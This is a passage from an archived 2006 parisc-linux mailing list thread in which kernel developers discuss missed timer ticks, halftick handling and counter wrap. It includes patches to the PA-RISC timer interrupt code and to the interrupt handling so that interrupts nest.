	by free.linux.hp.com (Postfix) with ESMTP id 16D5A7D91E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 09:51:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14280-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Sep 2006 09:51:53 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id AC3817D91D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 09:51:53 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k84Fpi513302; Mon, 4 Sep 2006 11:51:44 -0400
In-Reply-To: <20060903193122.GA20217@colo.lackof.org>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kHnLc2EObGI0QqaDYmRnr7lncmZ1Zhxv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23966

On Sun, 2006-09-03 at 13:31 -0600, Grant Grundler wrote:
> On Sun, Sep 03, 2006 at 11:14:53AM -0500, James Bottomley wrote:
> > Since the timer interrupts miss so many ticks, halftick processing looks
> > like a good idea to me.
> 
> I was going to argue halfticks are a bad idea.
> They just make it all more complicated.
> My last version of the rewrite patch does away with them complete.

I tried this on ioz ... you can simply remove the halftick code in my
version of the patch.  What happens is that we start to drop astonishing
number of ticks occasionally ... it looks like we're getting wrap
conditions again.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Mon, 4 Sep 2006 12:57:25 -0400 (EDT)
Lines: 121
Approved: news@gmane.org
Message-ID: <200609041657.k84GvPht025978@hiauly1.hia.nrc.ca>
References: <1157385104.3513.11.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624176 20895 80.91.229.3 (22 Nov 2014 02:42:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2006 16:57:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 04 Sep 2006 18:57:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 583F37D92F;
	Mon,  4 Sep 2006 10:57:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15223-01; Mon, 4 Sep 2006 10:57:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C3757D928;
	Mon,  4 Sep 2006 10:57:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E96C7D925
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 10:57:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14410-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Sep 2006 10:57:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 4E0547D653
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 10:57:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k84GvPbN025980;
	Mon, 4 Sep 2006 12:57:26 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k84GvPht025978;
	Mon, 4 Sep 2006 12:57:25 -0400 (EDT)
In-Reply-To: <1157385104.3513.11.camel@mulgrave.il.steeleye.com> from "James
	Bottomley" at Sep 4, 2006 10:51:44 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NG3PcJ0sTXs9XKyRbmQ59s1KRzdyMkP3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23967

> On Sun, 2006-09-03 at 13:31 -0600, Grant Grundler wrote:
> > On Sun, Sep 03, 2006 at 11:14:53AM -0500, James Bottomley wrote:
> > > Since the timer interrupts miss so many ticks, halftick processing looks
> > > like a good idea to me.
> > 
> > I was going to argue halfticks are a bad idea.
> > They just make it all more complicated.
> > My last version of the rewrite patch does away with them complete.
> 
> I tried this on ioz ... you can simply remove the halftick code in my
> version of the patch.  What happens is that we start to drop astonishing
> number of ticks occasionally ... it looks like we're getting wrap
> conditions again.

There needs to be a check to ensure that the code has enough time
to set cr16 with the new compare time before the counter passes this
value.  If it misses, the counter will wrap.  This probably doesn't
need to be a full half tick if it's desireable to avoid negative
offsets.

In my mind, it's important to ensure that timer interrupts are not
disabled for long periods.  If that's not possible, we could go back
to 100 Hz.  However, I've been using 1000 Hz in an embedded project
using a small 8-bit micro running at 40 MHz.  So, I think 1000 Hz
should be possible on most PA processors.

I've reworked my previous patch to use unsigned variables.  As a
result, it can handle twice the latency.  There's one unlikely case
that could be detected.  That's an exact wrap of the counter
(next_tick == now).  This is extremely unlikely on LP64.  On 32-bit
kernels, we can't handle latencies larger than 0x100000000, so it
didn't seem worthwhile checking for this special case.

There's weren't any problems with the libjava testsuite with the
last patch, but one run probably isn't enough to be sure that this
change helps.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Index: time.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/time.c,v
retrieving revision 1.16
diff -u -p -u -r1.16 time.c
--- time.c	24 Jun 2006 16:05:18 -0000	1.16
+++ time.c	4 Sep 2006 16:29:34 -0000
@@ -36,8 +36,8 @@
 /* xtime and wall_jiffies keep wall-clock time */
 extern unsigned long wall_jiffies;
 
-static long clocktick __read_mostly;	/* timer cycles per tick */
-static long halftick __read_mostly;
+static unsigned long clocktick __read_mostly;	/* timer cycles per tick */
+static unsigned long halftick __read_mostly;
 
 #ifdef CONFIG_SMP
 extern void smp_do_timer(struct pt_regs *regs);
@@ -45,28 +45,41 @@ extern void smp_do_timer(struct pt_regs 
 
 irqreturn_t timer_interrupt(int irq, void *dev_id, struct pt_regs *regs)
 {
-	long now;
-	long next_tick;
-	int nticks;
+	unsigned long now;
+	unsigned long next_tick;
+	unsigned long nticks = 0;
+	unsigned long ct = clocktick;
+	unsigned long ht = halftick;
 	int cpu = smp_processor_id();
 
 	profile_tick(CPU_PROFILING, regs);
 
-	now = mfctl(16);
-	/* initialize next_tick to time at last clocktick */
+	/* Initialize next_tick to time of last clocktick */
 	next_tick = cpu_data[cpu].it_value;
 
-	/* since time passes between the interrupt and the mfctl()
-	 * above, it is never true that last_tick + clocktick == now.  If we
-	 * never miss a clocktick, we could set next_tick = last_tick + clocktick
-	 * but maybe we'll miss ticks, hence the loop.
+	/* Since time passes between the interrupt and the mfctl(),
+	 * it is never true that last_tick + clocktick == now.
+	 * If we never missed a clocktick, we could set
+	 * next_tick = last_tick + clocktick, but maybe we'll
+	 * miss ticks, hence the loop.  It also ensures that the
+	 * count for the next interrupt is at least a half tick
+	 * away.
+	 *
+	 * We use local automatic variables to avoid the
+	 * possibility of an interruption delaying the setting
+	 * of cr16 for the next tick.
 	 *
-	 * Variables are *signed*.
 	 */
 
-	nticks = 0;
-	while((next_tick - now) < halftick) {
-		next_tick += clocktick;
+	now = mfctl(16);
+	while((now - next_tick) >= ct) {
+		next_tick += ct;
+		nticks++;
+	}
+	next_tick += ct;
+	nticks++;
+	if ((next_tick - now) < ht) {
+		next_tick += ct;
 		nticks++;
 	}
 	mtctl(next_tick, 16);
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Mon, 04 Sep 2006 12:23:56 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <1157390636.3513.21.camel@mulgrave.il.steeleye.com>
References: <200609041657.k84GvPht025978@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624177 20901 80.91.229.3 (22 Nov 2014 02:42:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2006 17:24:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 04 Sep 2006 19:24:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE66F7D92C;
	Mon,  4 Sep 2006 11:24:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15309-07; Mon, 4 Sep 2006 11:24:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 26ECD7D92D;
	Mon,  4 Sep 2006 11:24:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C49127D92A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 11:24:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15223-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Sep 2006 11:24:04 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 653CD7D757
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 11:24:04 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k84HNu517847; Mon, 4 Sep 2006 13:23:56 -0400
In-Reply-To: <200609041657.k84GvPht025978@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cljEccYXbmw7XK2HZzdLu01HUzc4ctGo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23968

On Mon, 2006-09-04 at 12:57 -0400, John David Anglin wrote:
> There needs to be a check to ensure that the code has enough time
> to set cr16 with the new compare time before the counter passes this
> value.  If it misses, the counter will wrap.  This probably doesn't
> need to be a full half tick if it's desireable to avoid negative
> offsets.

Exactly!

> In my mind, it's important to ensure that timer interrupts are not
> disabled for long periods.  If that's not possible, we could go back
> to 100 Hz.  However, I've been using 1000 Hz in an embedded project
> using a small 8-bit micro running at 40 MHz.  So, I think 1000 Hz
> should be possible on most PA processors.

Well ... I'm not sure about the rest of the PA world.  It's certainly
not possible on ioz (or any other pa8800).  According to my benchmarks,
the cache flush IPI takes 47ms to execute.  However, the pa8800 has such
a huge cache, it might not take this long on the other PA boxes.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] make parisc interrupts nest properly
Date: Mon, 04 Sep 2006 12:32:23 -0500
Lines: 273
Approved: news@gmane.org
Message-ID: <1157391143.3513.23.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624177 20902 80.91.229.3 (22 Nov 2014 02:42:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:57 +0000 (UTC)
To: Parisc List <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2006 17:32:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 04 Sep 2006 19:32:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F3F637D942;
	Mon,  4 Sep 2006 11:32:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15885-08; Mon, 4 Sep 2006 11:32:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C61817D943;
	Mon,  4 Sep 2006 11:32:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4EDFB7D941
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 11:32:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15885-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Sep 2006 11:32:25 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id BC1FD7D93C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 11:32:24 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id k84HWN518409
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Sep 2006 13:32:24 -0400
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: A1XJdYgMbUkoDenGPWgnkXxkZ2hlN4qi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23969

Linux is designed so that one interrupt can be interrupted by another
(but not by itself).  The idea behind this is to help reduce latency.
Parisc interrupts have never allowed nesting.  We physically disable all
interrupts in the eiem register before entering interrupt handlers, so
even if the handler enables interrupts, nothing ever fires.

I won't apply this until we've got the timers sorted out, because it
will only complicate things (also note that the timer interrupts are
IRQF_DISABLED, so we're guaranteed not to take any interrupts in them
until local_irq_enable() is called).

James

Index: parisc-2.6/arch/parisc/kernel/irq.c
===================================================================
--- parisc-2.6.orig/arch/parisc/kernel/irq.c	2006-09-03 21:06:41.000000000 -0700
+++ parisc-2.6/arch/parisc/kernel/irq.c	2006-09-04 08:10:47.000000000 -0700
@@ -45,6 +45,17 @@
 */
 static volatile unsigned long cpu_eiem = 0;
 
+/*
+** ack bitmap ... habitually set to 1, but reset to zero
+** between ->ack() and ->end() of the interrupt to prevent
+** re-interruption of a processing interrupt.
+*/
+static volatile unsigned long global_ack_eiem = ~0UL;
+/*
+** Local bitmap, same as above but for per-cpu interrupts
+*/
+static DEFINE_PER_CPU(unsigned long, local_ack_eiem) = ~0UL;
+
 static void cpu_disable_irq(unsigned int irq)
 {
 	unsigned long eirr_bit = EIEM_MASK(irq);
@@ -62,13 +73,6 @@
 
 	cpu_eiem |= eirr_bit;
 
-	/* FIXME: while our interrupts aren't nested, we cannot reset
-	 * the eiem mask if we're already in an interrupt.  Once we
-	 * implement nested interrupts, this can go away
-	 */
-	if (!in_interrupt())
-		set_eiem(cpu_eiem);
-
 	/* This is just a simple NOP IPI.  But what it does is cause
 	 * all the other CPUs to do a set_eiem(cpu_eiem) at the end
 	 * of the interrupt handler */
@@ -84,13 +88,46 @@
 void no_ack_irq(unsigned int irq) { }
 void no_end_irq(unsigned int irq) { }
 
+void cpu_ack_irq(unsigned int irq)
+{
+	unsigned long mask = EIEM_MASK(irq);
+	int cpu = smp_processor_id();
+
+	/* Clear in EIEM so we can no longer process */
+	if (CHECK_IRQ_PER_CPU(irq_desc[irq].status))
+		per_cpu(local_ack_eiem, cpu) &= ~mask;
+	else
+		global_ack_eiem &= ~mask;
+
+	/* disable the interrupt */
+	set_eiem(cpu_eiem & global_ack_eiem & per_cpu(local_ack_eiem, cpu));
+	/* and now ack it */
+	mtctl(mask, 23);
+}
+
+void cpu_end_irq(unsigned int irq)
+{
+	unsigned long mask = EIEM_MASK(irq);
+	int cpu = smp_processor_id();
+
+	/* set it in the eiems---it's no longer in process */
+	if (CHECK_IRQ_PER_CPU(irq_desc[irq].status))
+		per_cpu(local_ack_eiem, cpu) |= mask;
+	else
+		global_ack_eiem |= mask;
+
+	/* enable the interrupt */
+	set_eiem(cpu_eiem & global_ack_eiem & per_cpu(local_ack_eiem, cpu));
+}
+
+
 #ifdef CONFIG_SMP
 int cpu_check_affinity(unsigned int irq, cpumask_t *dest)
 {
 	int cpu_dest;
 
 	/* timer and ipi have to always be received on all CPUs */
-	if (irq == TIMER_IRQ || irq == IPI_IRQ) {
+	if (CHECK_IRQ_PER_CPU(irq)) {
 		/* Bad linux design decision.  The mask has already
 		 * been set; we must reset it */
 		irq_desc[irq].affinity = CPU_MASK_ALL;
@@ -119,8 +156,8 @@
 	.shutdown	= cpu_disable_irq,
 	.enable		= cpu_enable_irq,
 	.disable	= cpu_disable_irq,
-	.ack		= no_ack_irq,
-	.end		= no_end_irq,
+	.ack		= cpu_ack_irq,
+	.end		= cpu_end_irq,
 #ifdef CONFIG_SMP
 	.set_affinity	= cpu_set_affinity_irq,
 #endif
@@ -298,82 +335,69 @@
 	return virt_irq - CPU_IRQ_BASE;
 }
 
+static inline int eirr_to_irq(unsigned long eirr)
+{
+#ifdef CONFIG_64BIT
+	int bit = fls64(eirr);
+#else
+	int bit = fls(eirr);
+#endif
+	return (BITS_PER_LONG - bit) + TIMER_IRQ;
+}
+
 /* ONLY called from entry.S:intr_extint() */
 void do_cpu_irq_mask(struct pt_regs *regs)
 {
 	unsigned long eirr_val;
-
-	irq_enter();
-
-	/*
-	 * Don't allow TIMER or IPI nested interrupts.
-	 * Allowing any single interrupt to nest can lead to that CPU
-	 * handling interrupts with all enabled interrupts unmasked.
-	 */
-	set_eiem(0UL);
-
-	/* 1) only process IRQs that are enabled/unmasked (cpu_eiem)
-	 * 2) We loop here on EIRR contents in order to avoid
-	 *    nested interrupts or having to take another interrupt
-	 *    when we could have just handled it right away.
-	 */
-	for (;;) {
-		unsigned long bit = (1UL << (BITS_PER_LONG - 1));
-		unsigned int irq;
-		eirr_val = mfctl(23) & cpu_eiem;
-		if (!eirr_val)
-			break;
-
-		mtctl(eirr_val, 23); /* reset bits we are going to process */
-
-		/* Work our way from MSb to LSb...same order we alloc EIRs */
-		for (irq = TIMER_IRQ; eirr_val && bit; bit>>=1, irq++) {
+	int irq, cpu = smp_processor_id();
 #ifdef CONFIG_SMP
-			cpumask_t dest = irq_desc[irq].affinity;
+	cpumask_t dest;
 #endif
-			if (!(bit & eirr_val))
-				continue;
 
-			/* clear bit in mask - can exit loop sooner */
-			eirr_val &= ~bit;
+	local_irq_disable();
+	irq_enter();
 
-#ifdef CONFIG_SMP
-			/* FIXME: because generic set affinity mucks
-			 * with the affinity before sending it to us
-			 * we can get the situation where the affinity is
-			 * wrong for our CPU type interrupts */
-			if (irq != TIMER_IRQ && irq != IPI_IRQ &&
-			    !cpu_isset(smp_processor_id(), dest)) {
-				int cpu = first_cpu(dest);
-
-				printk(KERN_DEBUG "redirecting irq %d from CPU %d to %d\n",
-				       irq, smp_processor_id(), cpu);
-				gsc_writel(irq + CPU_IRQ_BASE,
-					   cpu_data[cpu].hpa);
-				continue;
-			}
-#endif
+	eirr_val = mfctl(23) & cpu_eiem & global_ack_eiem &
+		per_cpu(local_ack_eiem, cpu);
+	if (!eirr_val)
+		goto set_out;
+	irq = eirr_to_irq(eirr_val);
 
-			__do_IRQ(irq, regs);
-		}
+#ifdef CONFIG_SMP
+	dest = irq_desc[irq].affinity;
+	if (CHECK_IRQ_PER_CPU(irq_desc[irq].status) &&
+	    !cpu_isset(smp_processor_id(), dest)) {
+		int cpu = first_cpu(dest);
+
+		printk(KERN_DEBUG "redirecting irq %d from CPU %d to %d\n",
+		       irq, smp_processor_id(), cpu);
+		gsc_writel(irq + CPU_IRQ_BASE,
+			   cpu_data[cpu].hpa);
+		goto set_out;
 	}
+#endif
+	__do_IRQ(irq, regs);
 
-	set_eiem(cpu_eiem);	/* restore original mask */
+ out:
 	irq_exit();
-}
+	return;
 
+ set_out:
+	set_eiem(cpu_eiem & global_ack_eiem & per_cpu(local_ack_eiem, cpu));
+	goto out;
+}
 
 static struct irqaction timer_action = {
 	.handler = timer_interrupt,
 	.name = "timer",
-	.flags = IRQF_DISABLED,
+	.flags = IRQF_DISABLED | IRQF_TIMER | IRQF_PERCPU,
 };
 
 #ifdef CONFIG_SMP
 static struct irqaction ipi_action = {
 	.handler = ipi_interrupt,
 	.name = "IPI",
-	.flags = IRQF_DISABLED,
+	.flags = IRQF_DISABLED | IRQF_PERCPU,
 };
 #endif
 
Index: parisc-2.6/drivers/parisc/iosapic.c
===================================================================
--- parisc-2.6.orig/drivers/parisc/iosapic.c	2006-09-03 21:06:42.000000000 -0700
+++ parisc-2.6/drivers/parisc/iosapic.c	2006-09-03 21:11:00.000000000 -0700
@@ -692,6 +692,7 @@
 	DBG(KERN_DEBUG "end_irq(%d): eoi(%p, 0x%x)\n", irq,
 			vi->eoi_addr, vi->eoi_data);
 	iosapic_eoi(vi->eoi_addr, vi->eoi_data);
+	cpu_end_irq(irq);
 }
 
 static unsigned int iosapic_startup_irq(unsigned int irq)
@@ -728,7 +729,7 @@
 	.shutdown =	iosapic_disable_irq,
 	.enable =	iosapic_enable_irq,
 	.disable =	iosapic_disable_irq,
-	.ack =		no_ack_irq,
+	.ack =		cpu_ack_irq,
 	.end =		iosapic_end_irq,
